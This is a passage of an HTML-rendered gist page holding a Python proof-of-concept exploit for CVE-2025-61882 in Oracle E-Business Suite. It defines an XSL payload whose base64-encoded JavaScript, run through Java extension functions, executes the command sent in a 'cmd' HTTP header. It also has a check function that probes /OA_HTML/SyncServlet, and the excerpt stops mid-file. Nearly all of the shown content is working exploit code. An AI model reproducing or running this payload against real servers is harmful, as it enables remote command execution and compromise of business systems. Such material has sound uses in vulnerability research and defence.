0Z\&quot;></path>\n</svg>\n</span></template>\n\n  <table data-hpc class=\&quot;highlight tab-size js-file-line-container\&quot; data-tab-size=\&quot;4\&quot; data-paste-markdown-skip data-tagsearch-path=\&quot;EBS_CVE-2025-61882_poc.py\&quot;>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L1\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;1\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC1\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>requests</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L2\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;2\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC2\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>from</span> <span class=pl-s1>bs4</span> <span class=pl-k>import</span> <span class=pl-v>BeautifulSoup</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L3\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;3\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC3\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>re</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L4\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;4\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC4\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>random</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L5\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;5\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC5\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>base64</span> <span class=pl-k>as</span> <span class=pl-v>Base64</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L6\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;6\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC6\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>xml</span>.<span class=pl-s1>etree</span>.<span class=pl-v>ElementTree</span> <span class=pl-k>as</span> <span class=pl-c1>ET</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L7\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;7\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC7\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>urllib</span>.<span class=pl-s1>parse</span> <span class=pl-k>as</span> <span class=pl-s1>urlparse</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L8\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;8\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC8\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>from</span> <span class=pl-s1>urllib</span>.<span class=pl-s1>parse</span> <span class=pl-k>import</span> <span class=pl-s1>unquote</span>, <span class=pl-s1>parse_qs</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L9\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;9\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC9\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L10\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;10\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC10\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>COOKIES</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L11\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;11\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC11\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;JSESSIONID&amp;quot;</span>: <span class=pl-s>&amp;quot;abc&amp;quot;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L12\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;12\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC12\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;EBSDB&amp;quot;</span>: <span class=pl-s>&amp;quot;def&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L13\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;13\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC13\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L14\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;14\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC14\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L15\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;15\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC15\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>HEADERS</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L16\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;16\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC16\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;User-Agent&amp;quot;</span>: <span class=pl-s>&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;quot;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L17\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;17\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC17\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;Content-Type&amp;quot;</span>: <span class=pl-s>&amp;quot;application/x-www-form-urlencoded&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L18\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;18\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC18\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    }</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L19\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;19\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC19\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L20\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;20\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC20\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>TEMPLATE_NAME</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;Template&amp;quot;</span> <span class=pl-c1>+</span> <span class=pl-en>str</span>(<span class=pl-s1>random</span>.<span class=pl-c1>randint</span>(<span class=pl-c1>1000</span>, <span class=pl-c1>9999</span>))</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L21\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;21\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC21\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L22\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;22\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC22\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>PROXY</span> <span class=pl-c1>=</span> {<span class=pl-s>&amp;quot;http&amp;quot;</span>: <span class=pl-s>&amp;quot;http://127.0.0.1:8089&amp;quot;</span>, <span class=pl-s>&amp;quot;https&amp;quot;</span>: <span class=pl-s>&amp;quot;http://127.0.0.1:8089&amp;quot;</span>}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L23\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;23\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC23\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L24\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;24\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC24\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>XSL_PAYLOAD</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;#39;&amp;#39;&amp;#39;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L25\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;25\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC25\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;xsl:stylesheet version=&amp;quot;1.0&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L26\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;26\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC26\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L27\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;27\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC27\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:b64=&amp;quot;http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L28\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;28\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC28\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:jsm=&amp;quot;http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L29\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;29\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC29\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:eng=&amp;quot;http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L30\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;30\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC30\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:str=&amp;quot;http://www.oracle.com/XSL/Transform/java/java.lang.String&amp;quot;&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L31\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;31\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC31\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L32\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;32\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC32\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;xsl:template match=&amp;quot;/&amp;quot;&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L33\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;33\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC33\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;bs&amp;quot; select=&amp;quot;b64:decodeBuffer(b64:new(), &amp;#39;dmFyIGUgPSAnJzsKdmFyIG91dHB1dCA9ICIiOwoKdHJ5IHsKICAgIHZhciB0aHJlYWQgPSBqYXZhLmxhbmcuVGhyZWFkLmN1cnJlbnRUaHJlYWQoKTsKICAgIHZhciBjdHhMb2FkZXIgPSB0aHJlYWQuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCk7CiAgICB2YXIgZXhlY3V0ZVRocmVhZENscyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJ3ZWJsb2dpYy53b3JrLkV4ZWN1dGVUaHJlYWQiLCB0cnVlLCBjdHhMb2FkZXIpOwogICAgdmFyIHNlcnZsZXRSZXNwb25zZUltcGxDbHMgPSBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgid2VibG9naWMuc2VydmxldC5pbnRlcm5hbC5TZXJ2bGV0UmVzcG9uc2VJbXBsIiwgdHJ1ZSwgY3R4TG9hZGVyKTsKICAgICAgICB2YXIgYWRhcHRlciA9IGV4ZWN1dGVUaHJlYWRDbHMuY2FzdCh0aHJlYWQpLmdldEN1cnJlbnRXb3JrKCk7CiAgICB2YXIgcmVzOwogICAgdmFyIHJlcTsKICAgIGlmIChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TmFtZSgpLmVuZHNXaXRoKCJTZXJ2bGV0UmVxdWVzdEltcGwiKSkgewogICAgICAgIHJlcyA9IHNlcnZsZXRSZXNwb25zZUltcGxDbHMuY2FzdChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIpLmludm9rZShhZGFwdGVyKSk7CiAgICAgICAgcmVxID0gYWRhcHRlcjsgCiAgICB9IGVsc2UgewogICAgICAgIHZhciBmaWVsZCA9IGFkYXB0ZXIuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJjb25uZWN0aW9uSGFuZGxlciIpOwogICAgICAgIGZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CiAgICAgICAgdmFyIG9iaiA9IGZpZWxkLmdldChhZGFwdGVyKTsKICAgICAgICByZXEgPSBvYmouZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImdldFNlcnZsZXRSZXF1ZXN0IikuaW52b2tlKG9iaik7CiAgICAgICAgcmVzID0gc2VydmxldFJlc3BvbnNlSW1wbENscy5jYXN0KHJlcS5nZXRDbGFzcygpLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiKS5pbnZva2UocmVxKSk7CiAgICB9CgogCiAgICB2YXIgY21kID0gcmVxLmdldEhlYWRlcigiY21kIik7CiAgICBpZiAoY21kKSB7CiAgICAgICAgdmFyIHByb2MgPSBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpOwogICAgICAgIHZhciBpcyA9IHByb2MuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAKICAgICAgICB2YXIgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihpcykudXNlRGVsaW1pdGVyKCJcXEEiKTsKICAgICAgICBvdXRwdXQgPSBzLmhhc05leHQoKSA/IHMubmV4dCgpIDogIiI7CiAgICAgICAgCiAgICAgICAgaWYgKG91dHB1dC5sZW5ndGgoKSA8IDEpIHsKICAgICAgICAgICAgdmFyIGVzID0gcHJvYy5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB2YXIgc2UgPSBuZXcgamF2YS51dGlsLlNjYW5uZXIoZXMpLnVzZURlbGltaXRlcigiXFxBIik7CiAgICAgICAgICAgIG91dHB1dCA9IHNlLmhhc05leHQoKSA/IHNlLm5leHQoKSA6ICIiOwogICAgICAgIH0KCiAgICAgICAgcmVzLmdldFNlcnZsZXRPdXRwdXRTdHJlYW0oKS53cml0ZShuZXcgamF2YS5sYW5nLlN0cmluZyhvdXRwdXQpLmdldEJ5dGVzKCkpOwogICAgICAgIHJlcy5nZXRTZXJ2bGV0T3V0cHV0U3RyZWFtKCkuZmx1c2goKTsKICAgICAgICByZXMuZ2V0V3JpdGVyKCkuY2xvc2UoKTsKICAgICAgICByZXMuZ2V0U2VydmxldE91dHB1dFN0cmVhbSgpLmNsb3NlKCk7CiAgICAgICAgCiAgICB9Cgp9IGNhdGNoIChlcnJvcikgewogICAgCn0=&amp;#39;)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L34\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;34\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC34\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;js&amp;quot; select=&amp;quot;str:new($bs)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L35\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;35\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC35\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;m&amp;quot; select=&amp;quot;jsm:new()&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L36\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;36\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC36\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;e&amp;quot; select=&amp;quot;jsm:getEngineByName($m, &amp;#39;js&amp;#39;)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L37\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;37\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC37\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;result&amp;quot; select=&amp;quot;eng:eval($e, $js)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L38\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;38\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC38\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:value-of select=&amp;quot;$result&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L39\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;39\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC39\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;/xsl:template&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L40\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;40\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC40\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L41\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;41\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC41\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;/xsl:stylesheet&amp;gt;&amp;#39;&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L42\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;42\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC42\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L43\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;43\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC43\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>check</span>(<span class=pl-s1>url</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L44\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;44\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC44\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L45\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;45\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC45\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[*] Checking if target <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span> is vulnerable...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L46\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;46\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC46\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>get</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/SyncServlet&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L47\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;47\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC47\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Oracle Common Applications Calendar Synchronization Server is Alive&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L48\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;48\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC48\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[+] Target seems vulnerable!&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L49\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;49\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC49\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-c1>True</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L50\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;50\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC50\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Target seems not vulnerable&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L51\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;51\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC51\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>False</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L52\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;52\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC52\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-s1>requests</span>.<span class=pl-c1>RequestException</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L53\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;53\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC53\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Something went wrong. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L54\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;54\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC54\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>False</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L55\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;55\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC55\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L56\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;56\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC56\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span 